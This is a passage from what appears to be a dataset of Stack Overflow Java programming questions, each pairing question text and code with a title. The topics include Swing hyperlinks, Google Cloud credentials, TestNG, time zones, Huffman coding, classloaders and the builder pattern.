MouseEvent e ) { if ( e.getSource ( ) == label ) { JOptionPane.showConfirmDialog ( frame2 , `` Clicked '' ) ; } } @ Override public void mousePressed ( MouseEvent e ) { } @ Override public void mouseReleased ( MouseEvent e ) { } @ Override public void mouseEntered ( MouseEvent e ) { } @ Override public void mouseExited ( MouseEvent e ) { } public static void main ( String [ ] args ) { TestClickLinkInCheckBox test = new TestClickLinkInCheckBox ( ) ; test.display ( ) ; } } public class TestClickLinkInCheckBox implements HyperlinkListener { private JFrame frame ; private String linkedText = `` I have checked the data set I have selected , and agree to sign it following < b > < u > < a href=\ '' http : //www.google.com\ '' style=\ '' color : # 0000ff\ '' > the conditions of use of the service , defined in the policies of signature and certification < /a > < /u > < /b > that I attest having read . `` ; private JTextPane textPane ; public static void main ( String [ ] args ) { TestClickLinkInCheckBox test = new TestClickLinkInCheckBox ( ) ; test.display ( ) ; } public TestClickLinkInCheckBox ( ) { checkboxWithJEditorPanel ( ) ; } private void checkboxWithJEditorPanel ( ) { frame = new JFrame ( ) ; JPanel panel = new JPanel ( ) ; panel.setBorder ( BorderFactory.createEmptyBorder ( 50 , 50 , 50 , 50 ) ) ; JCheckBox checkBox = new JCheckBox ( ) ; panel.add ( checkBox ) ; textPane = new JTextPane ( ) ; textPane.setContentType ( `` text/html '' ) ; textPane.setOpaque ( false ) ; textPane.setDocument ( new HTMLDocument ( ) ) ; textPane.setText ( prettyText ( linkedText , 300 , `` left '' ) ) ; textPane.setEditable ( false ) ; textPane.addHyperlinkListener ( this ) ; setFontSize ( 16 ) ; panel.add ( textPane ) ; frame.add ( panel ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; } private void setFontSize ( int size ) { MutableAttributeSet attrs = textPane.getInputAttributes ( ) ; StyleConstants.setFontSize ( attrs , size ) ; StyledDocument document = textPane.getStyledDocument ( ) ; document.setCharacterAttributes ( 0 , document.getLength ( ) + 1 , attrs , false ) ; } private void display ( ) { frame.setVisible ( true ) ; frame.pack ( ) ; } public static String prettyText ( String badText , int length , String textAlign ) { return `` < html > < body width= ' '' + String.valueOf ( length ) + `` px ' > < div style=\ '' text-align : `` + textAlign + `` ; \ '' > '' + badText.replace ( `` ||| '' , `` < br > '' ) + `` < /html > '' ; } @ Override public void hyperlinkUpdate ( HyperlinkEvent e ) { if ( e.getEventType ( ) == HyperlinkEvent.EventType.ACTIVATED ) { System.out.println ( e.getURL ( ) ) ; } } } try { for ( LookAndFeelInfo info : UIManager.getInstalledLookAndFeels ( ) ) { if ( `` Nimbus '' .equals ( info.getName ( ) ) ) { UIManager.setLookAndFeel ( info.getClassName ( ) ) ; break ; } } } catch ( Exception e ) { e.printStackTrace ( ) ; } Color bgColor = panel.getBackground ( ) ; UIDefaults defaults = new UIDefaults ( ) ; defaults.put ( `` TextPane [ Enabled ] .backgroundPainter '' , bgColor ) ; textPane.putClientProperty ( `` Nimbus.Overrides '' , defaults ) ; textPane.putClientProperty ( `` Nimbus.Overrides.InheritDefaults '' , true ) ; textPane.setBackground ( bgColor ) ; defaults.put ( `` EditorPane [ Enabled ] .backgroundPainter '' , bgColor ) ;",How to make a checkbox with an hyperlink +Java,I am trying to use the Google Cloud Translate API . I generated a JSON file from a service account and set the GOOGLE_APPLICATION_CREDENTIALS to where the JSON file is saved . I then used it in a program like so : But I get the following errorHere is my JSON file : Can anyone explain what is going on here ? How can I fix it ? Google Cloud SDK is not even installed .,"import com.google.cloud.translate . * ; ... Translate translate = TranslateOptions.getDefaultInstance ( ) .getService ( ) ; Translation translation = translate.translate ( message ) ; com.google.cloud.translate.TranslateException : Your application has authenticated using end user credentials from the Google Cloud SDK or Google Cloud Shell which are not supported by the translate.googleapis.com . We recommend that most server applications use service accounts instead . For more information about service accounts and how to use them in your application , see https : //cloud.google.com/docs/authentication/ at com.google.cloud.translate.spi.v2.HttpTranslateRpc.translate ( HttpTranslateRpc.java:61 ) at com.google.cloud.translate.spi.v2.HttpTranslateRpc.translate ( HttpTranslateRpc.java:144 ) at com.google.cloud.translate.TranslateImpl $ 4.call ( TranslateImpl.java:113 ) at com.google.cloud.translate.TranslateImpl $ 4.call ( TranslateImpl.java:110 ) at com.google.api.gax.retrying.DirectRetryingExecutor.submit ( DirectRetryingExecutor.java:89 ) at com.google.cloud.RetryHelper.run ( RetryHelper.java:74 ) at com.google.cloud.RetryHelper.runWithRetries ( RetryHelper.java:51 ) at com.google.cloud.translate.TranslateImpl.translate ( TranslateImpl.java:110 ) at com.google.cloud.translate.TranslateImpl.translate ( TranslateImpl.java:124 ) at app.websockets.Messenger.onMessage ( Messenger.java:31 ) at org.java_websocket.server.WebSocketServer.onWebsocketMessage ( WebSocketServer.java:569 ) at org.java_websocket.drafts.Draft_6455.processFrame ( Draft_6455.java:709 ) at org.java_websocket.WebSocketImpl.decodeFrames ( WebSocketImpl.java:367 ) at org.java_websocket.WebSocketImpl.decode ( WebSocketImpl.java:212 ) at org.java_websocket.server.WebSocketServer $ WebSocketWorker.run ( WebSocketServer.java:925 ) Caused by : com.google.api.client.googleapis.json.GoogleJsonResponseException : 403 Forbidden { `` code '' : 403 , `` errors '' : [ { `` domain '' : `` usageLimits '' , `` message '' : `` Your application has authenticated using end user credentials from the Google Cloud SDK or Google Cloud Shell which are not supported by the translate.googleapis.com . We recommend that most server applications use service accounts instead . For more information about service accounts and how to use them in your application , see https : //cloud.google.com/docs/authentication/ . `` , `` reason '' : `` rateLimitExceeded '' } ] , `` message '' : `` Your application has authenticated using end user credentials from the Google Cloud SDK or Google Cloud Shell which are not supported by the translate.googleapis.com . We recommend that most server applications use service accounts instead . For more information about service accounts and how to use them in your application , see https : //cloud.google.com/docs/authentication/ . `` , `` status '' : `` PERMISSION_DENIED '' } at com.google.api.client.googleapis.json.GoogleJsonResponseException.from ( GoogleJsonResponseException.java:146 ) at com.google.api.client.googleapis.services.json.AbstractGoogleJsonClientRequest.newExceptionOnError ( AbstractGoogleJsonClientRequest.java:113 ) at com.google.api.client.googleapis.services.json.AbstractGoogleJsonClientRequest.newExceptionOnError ( AbstractGoogleJsonClientRequest.java:40 ) at com.google.api.client.googleapis.services.AbstractGoogleClientRequest $ 1.interceptResponse ( AbstractGoogleClientRequest.java:321 ) at com.google.api.client.http.HttpRequest.execute ( HttpRequest.java:1067 ) at com.google.api.client.googleapis.services.AbstractGoogleClientRequest.executeUnparsed ( AbstractGoogleClientRequest.java:419 ) at com.google.api.client.googleapis.services.AbstractGoogleClientRequest.executeUnparsed ( AbstractGoogleClientRequest.java:352 ) at com.google.api.client.googleapis.services.AbstractGoogleClientRequest.execute ( AbstractGoogleClientRequest.java:469 ) at com.google.cloud.translate.spi.v2.HttpTranslateRpc.translate ( HttpTranslateRpc.java:130 ) ... 13 more { `` type '' : `` service_account '' , `` project_id '' : `` ecstatic-motif-220300 '' , `` private_key_id '' : `` keyid '' , `` private_key '' : `` somekey '' , `` client_email '' : `` kokosole @ ecstatic-motif-220300.iam.gserviceaccount.com '' , `` client_id '' : `` 100208235593900994013 '' , `` auth_uri '' : `` https : //accounts.google.com/o/oauth2/auth '' , `` token_uri '' : `` https : //oauth2.googleapis.com/token '' , `` auth_provider_x509_cert_url '' : `` https : //www.googleapis.com/oauth2/v1/certs '' , `` client_x509_cert_url '' : `` https : //www.googleapis.com/robot/v1/metadata/x509/kokosole % 40ecstatic-motif-220300.iam.gserviceaccount.com '' }",Why is Google Cloud API trying to connect as an end-user ? +Java,"I often rely on the JDK source code to understand how I should implement an interface , and I often find some very strange indentation style at use . For instance , in DefaultCellEditor.java : I 'm wondering if this is due to my IDE or not , since I find this kind of indentation quite strange and difficult to read .",public DefaultCellEditor ( final JTextField textField ) { editorComponent = textField ; this.clickCountToStart = 2 ; delegate = new EditorDelegate ( ) { public void setValue ( Object value ) { textField.setText ( ( value ! = null ) ? value.toString ( ) : `` '' ) ; } public Object getCellEditorValue ( ) { return textField.getText ( ) ; } } ; textField.addActionListener ( delegate ) ; },Why is the Java library source code so strangely indented ? +Java,"I want to know if it is possible to use default methods from interface with TestNG @ BeforeMethod annotation ? Here is sample , which I tried : When I run typical TestNG test method , like : start ( ) and end ( ) methods are n't called . Driver instance is n't created for test execution.Is it possible to make something like it with default method and TestNG methods ? If I change the interface to a regular class , before and after methods are called ( driver instance is created fine ) : The problem is that my test class is already extending another class : Thus I ca n't extend TestBase . Is it possible to use interface with any implementation for execution code before and after test methods ?",@ Listeners ( TestListener.class ) public interface ITestBase { String baseUrl = Config.getProperty ( Config.TEST_HOST ) ; String driverName = Config.getProperty ( Config.BROWSER ) ; DriversEnum driverInstance = DriversEnum.valueOf ( driverName.toUpperCase ( ) ) ; @ BeforeMethod ( alwaysRun = true ) default public void start ( ) { try { driver.init ( ) ; DriverUnit.preconfigureDriver ( Driver.driver.get ( ) ) ; driver.get ( ) .manage ( ) .deleteAllCookies ( ) ; driver.get ( ) .get ( baseUrl ) ; } catch ( TimeoutException e ) { Logger.logEnvironment ( `` QT application is not available '' ) ; } } @ AfterMethod ( alwaysRun = true ) default public void end ( ) { if ( driver.get ( ) ! = null ) { try { driver.get ( ) .quit ( ) ; } catch ( UnreachableBrowserException e ) { Logger.logDebug ( `` UnreachableBrowser on close '' ) ; } finally { driver.remove ( ) ; } } } public class AppUiDemo implements ITestBase { @ Test ( enabled = true ) public void checkWebDriverCreation ( ) { ... } public class TestBase { protected final String baseUrl = Config.getProperty ( Config.TEST_HOST ) ; protected final String driverName = Config.getProperty ( Config.BROWSER ) ; protected final DriversEnum driverInstance = DriversEnum.valueOf ( driverName.toUpperCase ( ) ) ; @ BeforeMethod ( alwaysRun = true ) public void start ( ) { ... . public class MainTest extends ExecutionContext,How to call default method from interface with TestNG tests and Selenium ? +Java,"On frontend I use AngularJS `` $ resource '' for the GET request and on the Backend I use SpringMVC to expose my methods Restful way.Now I want to cache only some of my GET requests . I noticed there are some ways to do that like using the $ cacheFactory . Or something like : Please note that this could also be a simple ajax call with some cache parameters and not necessarly using the angularJS . So instead of on the client using such an approach , I wonder it can be done on the server simply by Java setting the caching just in the Response header some thing like this : What are the difference of these two approaches ? which approach should be used when ? P.S this question is NOT a server side caching vs client side caching question , I simply set the HTTPResponse header in the server that 's all .","return { Things : $ resource ( 'url/to/ : thing ' , { } , { list : { method : 'GET ' , cache : true } } ; response.setHeader ( `` Cache-Control : max-age=2592000 '' ) ;",What is the difference between caching via Javascript vs setting HTTPResponse header in Server +Java,"I run a Java program on a Windows machine . I am trying to get a list of time zones and their related information . Here is the complete program : One of the generated time zone has the following info : America/New_York ; Eastern Standard Time ; -4.000000 This is puzzling . At this moment , New York is in Eastern Summer Daylight Saving time . So the above info is not right.Does anyone know how I can make Java to generate America/New_York ; Eastern Standard Time ; -5.000000 or something like this America/New_York ; Eastern Summer Daylight Saving Time ; -4.000000 Thanks for help ! Regards","String [ ] allTimeZones = TimeZone.getAvailableIDs ( ) ; Date now = new Date ( ) ; for ( int i = 0 ; i < allTimeZones.length ; i++ ) { TimeZone tz = TimeZone.getTimeZone ( allTimeZones [ i ] ) ; System.out.format ( `` % s ; % s ; % f \n '' , allTimeZones [ i ] , tz.getDisplayName ( ) , ( float ) ( tz.getOffset ( now.getTime ( ) ) /3600000.0 ) ) ; }",Java does not produce correct time zone information +Java,"Why does the following throw a NullPointerException ? : I know if i do either of the following the code will not throw a NullPointerException : A ) B ) Also , if i change the code completely and do the following it works : I guess the compiler is doing some sort of an optimization and somehow messing things up ? I 'm assuming it 's some sort of a casting problem , but why would it throw a NullPointerException in that case instead of a ClassCastException ? Any information as to why this is happening would be greatly appreciated ! Thanks in advance",public static Object myTest ( ) { boolean x = false ; boolean y = false ; return x & & y ? new Object ( ) : x ? x : y ? y : null ; } public static void main ( String [ ] args ) { myTest ( ) ; } public static Object myTest ( ) { boolean x = false ; boolean y = false ; return x & & y ? new Object ( ) : x ? x : y ? y : ( Object ) null ; } public static void main ( String [ ] args ) { myTest ( ) ; } public static Object myTest ( ) { Boolean x = false ; Boolean y = false ; return x & & y ? new Object ( ) : x ? x : y ? y : null ; } public static void main ( String [ ] args ) { myTest ( ) ; } public static Object myTest ( ) { boolean x = false ; boolean y = false ; if ( x & & y ) { return new Object ( ) ; } else if ( x ) { return x ; } else if ( y ) { return y ; } else { return null ; } } public static void main ( String [ ] args ) { myTest ( ) ; },NullPointerException in method returning type Object +Java,"I have many PDF documents in my system , and I notice sometimes that documents are image-based without editing capability . In this case , I do OCR for better search in Foxit PhantomPDF where you can do OCR in multiple files . I would like to find all PDF documents of mine which are image-based . I do not understand how the PDF reader can recognize that the document 's OCR is not textual . There must be some fields which these readers access . This can be accessed in terminal too . This answer gives open proposals how to do it in the thread Check if a PDF file is a scanned one : Your best bet might be to check to see if it has text and also see if it contains a large pagesized image or lots of tiled images which cover the page . If you also check the metadata this should cover most options.I would like to understand better how you can do this effectively , since if there exists some metafield , then it would be easy . However , I have not found such a metafield . I think the most probable approach is to see if the page contains pagesized image which has OCR for search because it is effective and used in some PDF readers already . However , I do not know how to do it . Edge Detection and Hugh Transform about the answerIn Hugh transform , there are specifically chosen parameters in the hyper-square of the parameter space . Its complexity $ O ( A^ { m-2 } ) $ where m is the amount of parameters where you see that with more than there parameters the problem is difficult . A is the size of the image space . Foxit reader is using most probably 3 parameters in their implementation . Edges are easy to detect well which can ensure the efficiency and must be done before Hugh transform . Corrupted pages are simply ignored . Other two parameters are still unknown but I think they must be nodes and some intersections . How these intersections are computed is unknown ? The formulation of the exact problem is unknown.Testing Deajan 's answerThe command works in Debian 8.5 but I could not manage to get it work initially in Ubuntu 16.04 OS : Debian 8.5 64 bitLinux kernel : 4.6 of backportsHardware : Asus Zenbook UX303UA",masi @ masi : ~ $ find ./ -name `` *.pdf '' -print0 | xargs -0 -I { } bash -c 'export file= '' { } '' ; if [ $ ( pdffonts `` $ file '' 2 > /dev/null | wc -l ) -lt 3 ] ; then echo `` $ file '' ; fi'./Downloads/596P.pdf./Downloads/20160406115732.pdf^C,How do I find all image-based PDFs ? +Java,"I have a java process which prints out a lot of text . Sometimes I just want to see a bit of the text . With normal programs I can just do : I 'll just see 10 lines of output from myprog and it will exit immediately . But with java , if I do : I get the first 10 lines of output , but the java process wo n't exit until it 's done with all of its processing . It 's like java does n't care that stdout ( System.out ) is gone and the head process is dead and gone.All other programs either exit silently , like cat : Or exit with a broken pipe error/exception , like python : How can get java to raise an exception when calling System.out.println ( ) when I pipe output to something like head ? I 'd love to be able to do something like :","$ myprog | head $ java MyClass | head $ cat /etc/group | headroot : x:0 : daemon : x:1 : bin : x:2 : sys : x:3 : adm : x:4 : tty : x:5 : disk : x:6 : lp : x:7 : mail : x:8 : news : x:9 : $ python -c 'while True : print `` hi '' ' | headhihihihihihihihihihiTraceback ( most recent call last ) : File `` < string > '' , line 1 , in < module > IOError : [ Errno 32 ] Broken pipe try { while ( true ) { System.out.println ( `` hi '' ) ; } } catch ( BrokenPipeException e ) { // exit gracefully }",How do I get java to exit when piped to head +Java,"I have piece of code , and what it does is find the colors of an image ( or section of the screen ) and if the R G and B color 's are greater than 127 it put 's a 1 in the corresponding position of a 2D int array . Here is the segment I have now , but it is obviously extremely slow . Is there a better way to do this ? There must be a faster way to do this using the values above . b is the int array and it is initialized in this segment . r is a robot that I use to find the color of the pixel on the screen . x and y should be self explanatory.Thanks Mikera ! This is the end result I got based on your answer : The -1 in the if else statement apparently finds the value of black pixels like I wanted .","private void traceImage ( ) { try { Robot r = new Robot ( ) ; b = new int [ 470 ] [ 338 ] ; for ( int y = 597 ; y < 597+469 ; y++ ) { for ( int x = 570 ; x < 570+337 ; x++ ) { if ( r.getPixelColor ( x , y ) .getRed ( ) > 127 & & r.getPixelColor ( x , y ) .getGreen ( ) > 127 & & r.getPixelColor ( x , y ) .getBlue ( ) > 127 ) { b [ y-597 ] [ x-570 ] = 1 ; } else { b [ y-597 ] [ x-570 ] = 0 ; } } } } catch ( Exception ex ) { System.out.println ( ex.toString ( ) ) ; } } private void traceActionPerformed ( java.awt.event.ActionEvent evt ) { try { Robot r = new Robot ( ) ; BufferedImage image = r.createScreenCapture ( new Rectangle ( 597,570,470,337 ) ) ; b = new int [ image.getWidth ( ) ] [ image.getHeight ( ) ] ; for ( int y=0 ; y < image.getWidth ( ) ; y++ ) { for ( int x=0 ; x < image.getHeight ( ) ; x++ ) { if ( image.getRGB ( y , x ) ==-1 ) { b [ y ] [ x ] =0 ; } else { b [ y ] [ x ] =1 ; } } } System.out.println ( `` Done '' ) ; } catch ( Exception ex ) { System.out.println ( ex.toString ( ) ) ; } }",Is there a faster way to get the colors in a screen-shot ? +Java,"I need some help with making a tiled map , I 'm just getting a white screen instead of a map with images ( tiles ) on it . Can someone help with that ? World.javaAnd here is GamePanel.javaand Main.javaThanks for the help ! p.s . sorry for my english I 'm Dutch .","package game.test.src ; import java.awt.Graphics ; import java.awt.Image ; import java.awt.Rectangle ; import javax.swing.ImageIcon ; public class World { private Rectangle [ ] blocks ; private Image [ ] blockImg ; private final int arrayNum = 500 ; //Block Imagesprivate Image BLOCK_GRASS , BLOCK_DIRT , BLOCK_STONE , BLOCK_SKY ; private int x , y ; public World ( ) { BLOCK_GRASS = new ImageIcon ( `` C : /Users/Pim/Desktop/2D game test/Game test 2/src/game/test/src/images/tile_grass '' ) .getImage ( ) ; BLOCK_DIRT = new ImageIcon ( `` C : /Users/Pim/Desktop/2D game test/Game test 2/src/game/test/src/images/tile_dirt '' ) .getImage ( ) ; BLOCK_STONE = new ImageIcon ( `` C : /Users/Pim/Desktop/2D game test/Game test 2/src/game/test/src/images/tile_stonek '' ) .getImage ( ) ; BLOCK_SKY = new ImageIcon ( `` C : /Users/Pim/Desktop/2D game test/Game test 2/src/game/test/src/images/tile_sky '' ) .getImage ( ) ; blocks = new Rectangle [ 500 ] ; blockImg = new Image [ 500 ] ; loadArrays ( ) ; } private void loadArrays ( ) { for ( int i = 0 ; i < arrayNum ; i++ ) { if ( x > = 500 ) { x = 0 ; y += 20 ; } if ( i > = 0 & & i < 100 ) { blockImg [ i ] = BLOCK_SKY ; blocks [ i ] = new Rectangle ( x , y , 20 , 20 ) ; } if ( i > = 100 & & i < 125 ) { blockImg [ i ] = BLOCK_GRASS ; blocks [ i ] = new Rectangle ( x , y , 20 , 20 ) ; } if ( i > = 125 & & i < 225 ) { blockImg [ i ] = BLOCK_DIRT ; blocks [ i ] = new Rectangle ( x , y , 20 , 20 ) ; } if ( i > = 225 & & i < 500 ) { blockImg [ i ] = BLOCK_STONE ; blocks [ i ] = new Rectangle ( x , y , 20 , 20 ) ; } x += 20 ; } } public void draw ( Graphics g ) { for ( int i = 0 ; i < arrayNum ; i++ ) { g.drawImage ( blockImg [ i ] , blocks [ i ] .x , blocks [ i ] .y , null ) ; } } } package game.test.src ; import java.awt . * ; import java.awt.event . * ; import java.util.logging.Level ; import java.util.logging.Logger ; import javax.swing.JPanel ; public class GamePanel extends JPanel implements Runnable { //Double buffering private Image dbImage ; private Graphics dbg ; //JPanel variables static final int GWIDTH = 500 , GHEIGHT = 400 ; static final Dimension gameDim = new Dimension ( GWIDTH , GHEIGHT ) ; //Game variables private Thread game ; private volatile boolean running = false ; //Game Objects World world ; public GamePanel ( ) { world = new World ( ) ; setPreferredSize ( gameDim ) ; setBackground ( Color.WHITE ) ; setFocusable ( true ) ; requestFocus ( ) ; //Handle all key inputs from user addKeyListener ( new KeyAdapter ( ) { @ Override public void keyPressed ( KeyEvent e ) { } @ Override public void keyReleased ( KeyEvent e ) { } @ Override public void keyTyped ( KeyEvent e ) { } } ) ; } public void run ( ) { while ( running ) { gameUpdate ( ) ; gameRender ( ) ; paintScreen ( ) ; } } private void gameUpdate ( ) { if ( running & & game ! = null ) { } } private void gameRender ( ) { if ( dbImage == null ) { // Create the buffer dbImage = createImage ( GWIDTH , GHEIGHT ) ; if ( dbImage == null ) { System.err.println ( `` dbImage is still null ! `` ) ; return ; } else { dbg = dbImage.getGraphics ( ) ; } } //Clear the screen dbg.setColor ( Color.WHITE ) ; dbg.fillRect ( 0 , 0 , GWIDTH , GHEIGHT ) ; //Draw Game elements draw ( dbg ) ; } /* Draw all game content in this method */ public void draw ( Graphics g ) { world.draw ( g ) ; } private void paintScreen ( ) { Graphics g ; try { g = this.getGraphics ( ) ; if ( dbImage ! = null & & g ! = null ) { g.drawImage ( dbImage , 0 , 0 , null ) ; } Toolkit.getDefaultToolkit ( ) .sync ( ) ; //For some operating systems g.dispose ( ) ; } catch ( Exception e ) { System.err.println ( e ) ; } } public void addNotify ( ) { super.addNotify ( ) ; startGame ( ) ; } private void startGame ( ) { if ( game == null || ! running ) { game = new Thread ( this ) ; game.start ( ) ; running = true ; } } public void stopGame ( ) { if ( running ) { running = false ; } } } package game.test.src ; import javax.swing.JFrame ; public class Main extends JFrame { GamePanel gp ; public Main ( ) { gp = new GamePanel ( ) ; setSize ( 500 , 400 ) ; setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; setVisible ( true ) ; setResizable ( false ) ; add ( gp ) ; } public static void main ( String [ ] args ) { Main m = new Main ( ) ; } }",How to create a tiled map ( I 'm just getting a white screen ) Java +Java,"I 'm building a Clojure Noir web application to run as a WAR file in CloudFoundry.In my project.clj I have : In server.clj I create a handler using Noir : I build the WAR file using a lein ring plugin : Then push to CloudFoundry using : The request handler works fine and I can browse to the URL of the application just fine.So the question is : what is the correct way to do initialization when the application is started ? I can do the following in server.clj : But there are a couple problems with that . First , it seems like that is doing the initialization at the wrong time ( when the code is read/eval 'd rather than on app start ) . Second , the protector is specific to CloudFoundry and I certain there is a proper general WAR way to do this.I think this is the purpose of the contextInitialized method on the ServletContextListener but how do I hook that in with Noir/ring ?",: ring { : handler appname.server/handler } ( def handler ( noir.server/gen-handler { : ns 'appname } ) ) lein ring uberwar vmc push appname ( when ( System/getenv `` VCAP_APPLICATION '' ) ( init-func ) ),Initialization hook for Clojure Noir WAR/Servlet ( CloudFoundry ) +Java,"I am working on a Huffman Encoding program and I am almost finished but I am stuck in an infinite recursion loop . Does anyone have an idea where this is going wrong ? This is the error I am getting : and the output is continually 5:1 , 5:4 , 5:2 , repeatingmy datafile looks like this : and my code is","Exception in thread `` main '' java.lang.StackOverflowErrorat sun.nio.cs.SingleByteEncoder.encodeLoop ( SingleByteEncoder.java:130 ) at java.nio.charset.CharsetEncoder.encode ( CharsetEncoder.java:544 ) at sun.nio.cs.StreamEncoder.implWrite ( StreamEncoder.java:252 ) at sun.nio.cs.StreamEncoder.write ( StreamEncoder.java:106 ) at java.io.OutputStreamWriter.write ( OutputStreamWriter.java:190 ) at java.io.BufferedWriter.flushBuffer ( BufferedWriter.java:111 ) at java.io.PrintStream.write ( PrintStream.java:476 ) at java.io.PrintStream.print ( PrintStream.java:619 ) at java.io.PrintStream.println ( PrintStream.java:756 ) at HuffmanNode.buildTree ( hw4.java:63 ) at HuffmanNode.buildTree ( hw4.java:64 ) at HuffmanNode.buildTree ( hw4.java:64 ) at HuffmanNode.buildTree ( hw4.java:64 ) at HuffmanNode.buildTree ( hw4.java:64 ) at HuffmanNode.buildTree ( hw4.java:64 ) at HuffmanNode.buildTree ( hw4.java:64 ) at HuffmanNode.buildTree ( hw4.java:64 ) aaaaddddddddkkkkkkffffffhhhhhhbbbbbbbbnnnnnnneeeeeiiiiiiiilkjansglkjasvoijasdlkgknmasdklovhasdgz import java.util . * ; import java.io . * ; class HuffmanNode implements Comparable < HuffmanNode > { HuffmanNode right ; HuffmanNode left ; HuffmanNode parent ; int count ; String letter ; public HuffmanNode ( ) { } public HuffmanNode ( String letter , int count ) { this.letter = letter ; this.count = count ; } public HuffmanNode ( String letter , int count , HuffmanNode parent , HuffmanNode left , HuffmanNode right ) { this.letter = letter ; this.count = count ; this.left = left ; this.right = right ; this.parent = parent ; } public void setCount ( int count ) { this.count = count ; } public int getCount ( ) { return count ; } public void setRight ( HuffmanNode right ) { this.right = right ; } public HuffmanNode getRight ( HuffmanNode right ) { return right ; } public void setLeft ( HuffmanNode left ) { this.left = left ; } public HuffmanNode getLeft ( HuffmanNode left ) { return left ; } public void setParent ( HuffmanNode right ) { this.left = left ; } public HuffmanNode getParent ( HuffmanNode parent ) { return parent ; } public void buildTree ( HuffmanNode node ) { if ( node.compareTo ( this ) < = 0 & & left ! = null ) { System.out.println ( node.getCount ( ) + `` : '' + this.count ) ; left.buildTree ( node ) ; } else if ( node.compareTo ( this ) < = 0 & & left == null ) { this.left = node ; node.parent = this ; } else if ( node.compareTo ( this ) > 0 & & right ! = null ) { System.out.println ( node.getCount ( ) + `` : '' +this.count ) ; right.buildTree ( node ) ; } else if ( node.compareTo ( this ) > 0 & & right == null ) { this.right = node ; node.parent = this ; } } public int compareTo ( HuffmanNode x ) { return this.count - x.count ; } public void genCode ( String s ) { if ( left ! = null ) { left.genCode ( s + `` 0 '' ) ; } if ( right ! = null ) { right.genCode ( s + `` 1 '' ) ; } if ( left == null & & right == null ) { System.out.println ( s ) ; } } } public class hw4 { public static void main ( String [ ] args ) throws IOException { //ask user to enter file nameSystem.out.printf ( `` Enter a file location and name to encode [ press Enter ] : `` ) ; Scanner input = new Scanner ( System.in ) ; String filename = input.next ( ) ; //Gets file name from Scanner and checks to see if validFile file = new File ( filename ) ; //if ( ! file.isFile ( ) ) { //System.out.printf ( `` Enter a file location and name to encode [ press Enter ] : `` ) ; // } Scanner text = new Scanner ( file ) ; String [ ] letters = { `` a '' , '' b '' , '' c '' , '' d '' , '' e '' , '' f '' , '' g '' , '' h '' , '' i '' , '' j '' , '' k '' , '' l '' , '' m '' , '' n '' , '' o '' , '' p '' , '' q '' , '' r '' , '' s '' , '' t '' , '' u '' , '' v '' , '' w '' , '' x '' , '' y '' , '' z '' } ; int [ ] freq = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 } ; String letter ; String tempStr ; int tempInt ; while ( text.hasNext ( ) ) { letter = text.next ( ) ; //System.out.printf ( `` % s\n '' , letter ) ; char c = letter.charAt ( 0 ) ; int index = c - 97 ; freq [ index ] ++ ; } for ( int i=0 ; i < 25 ; i++ ) { System.out.printf ( `` % s : % d\n '' , letters [ i ] , freq [ i ] ) ; } System.out.printf ( `` \n '' ) ; for ( int n=0 ; n < 25 ; n++ ) { for ( int i=0 ; i < 25 ; i++ ) { if ( freq [ i ] > freq [ i+1 ] ) { // exchange elements tempInt = freq [ i ] ; tempStr = letters [ i ] ; freq [ i ] = freq [ i+1 ] ; letters [ i ] = letters [ i+1 ] ; freq [ i+1 ] = tempInt ; letters [ i+1 ] = tempStr ; } } } PriorityQueue < HuffmanNode > huffmanList = new PriorityQueue < HuffmanNode > ( ) ; for ( int i=0 ; i < 26 ; i++ ) { System.out.printf ( `` % s : % d\n '' , letters [ i ] , freq [ i ] ) ; if ( freq [ i ] > 0 ) { huffmanList.add ( new HuffmanNode ( letters [ i ] , freq [ i ] ) ) ; } } HuffmanNode root = new HuffmanNode ( ) ; while ( huffmanList.size ( ) > 1 ) { HuffmanNode x = huffmanList.poll ( ) ; HuffmanNode y = huffmanList.poll ( ) ; HuffmanNode result = new HuffmanNode ( `` - '' , x.getCount ( ) + y.getCount ( ) , null , x , y ) ; if ( root == null ) { root = result ; } else { root.buildTree ( result ) ; } huffmanList.add ( result ) ; } root.genCode ( `` `` ) ; } }","Infinite Recursion , StackOverError in huffman tree" +Java,"There 's 10 million articles and docs out there on what Java classloaders are , and how/*why* to write your own ... but they all seem to be assuming some things that I ca n't find a simple answer to ! I understand the job of the classloader : to read bytecode and construct an object from it . Different classloaders do this differently , etc.But having never had to code against a class loader API in my own code , and never having to write one of my own , I 'm having enormous difficulty understanding when a ClassLoader 's own code actually fires.For instance : Here , we have a Fizz object . Before a Fizz can be instantiated , we need a class loader to kick in and load Fizz.class into its cache . Where and when is this happening ? ! ? ! It 's not explicitly in my code so it must implicitly be somewhere in the JRE ... ? Tangential to that question , if I write my own classloader , say , WidgetClassLoader and want to configure it to load either all my application 's classes , or perhaps just my Fizz.class , how do I `` tie '' this WidgetClassLoader into my application so that it knows which classloader to use ? Would my code need to explicitly call this classloader or would it be implicit like the first example ? Thanks in advance !",public static void main ( String [ ] args ) { Fizz fizz = new Fizz ( ) ; fuzz.buzz ( ) ; },When do Java class loaders engage ? +Java,"I am reading Josh Bloch 's book Effective Java and he suggests using a builder design pattern when building objects that have large amounts of members . From what I can see it is n't the vanilla design pattern but looks like his variation . I rather like the look of it and was trying to use it in a C # web application that I am writting . This is the code written in Java and works perfectlyWhen I put this into what I think is the C # equivalentThen I get compiler warnings . Most of them `` can not declare instance members in a static class '' .So my question is firstly what have I missed ? If I have missed something , can I do it in the manner Josh Bloch recommends but in C # , and lastly , and this one important too , is this thread-safe ?",public class Property { private String title ; private String area ; private int sleeps = 0 ; public static void main ( String [ ] args ) { Property newProperty = new Property.Builder ( `` Test Property '' ) .Area ( `` Test Area '' ) .Sleeps ( 7 ) .build ( ) ; } private Property ( Builder builder ) { this.title = builder.title ; this.area = builder.area ; this.sleeps =builder.sleeps ; } public static class Builder { private String title ; private String area ; private int sleeps = 0 ; public Builder ( String title ) { this.title = title ; } public Builder Area ( String area ) { this.area = area ; return this ; } public Builder Sleeps ( int sleeps ) { this.sleeps = sleeps ; return this ; } public Property build ( ) { return new Property ( this ) ; } } } public class Property { private String title ; private String area ; private Property ( Builder Builder ) { title = Builder.title ; area = Builder.area ; } public static class Builder { // Required parameters private String title ; private String area ; // Optional parameters private int sleeps = 0 ; public Builder ( String val ) { this.title = val ; } public Builder Area ( String val ) { this.area = val ; return this ; } public Builder Sleeps ( int val ) { this.sleeps = val ; return this ; } public Property build ( ) { return new Property ( this ) ; } } },How is Java 's notion of static different from C # 's ? +Java,I have two 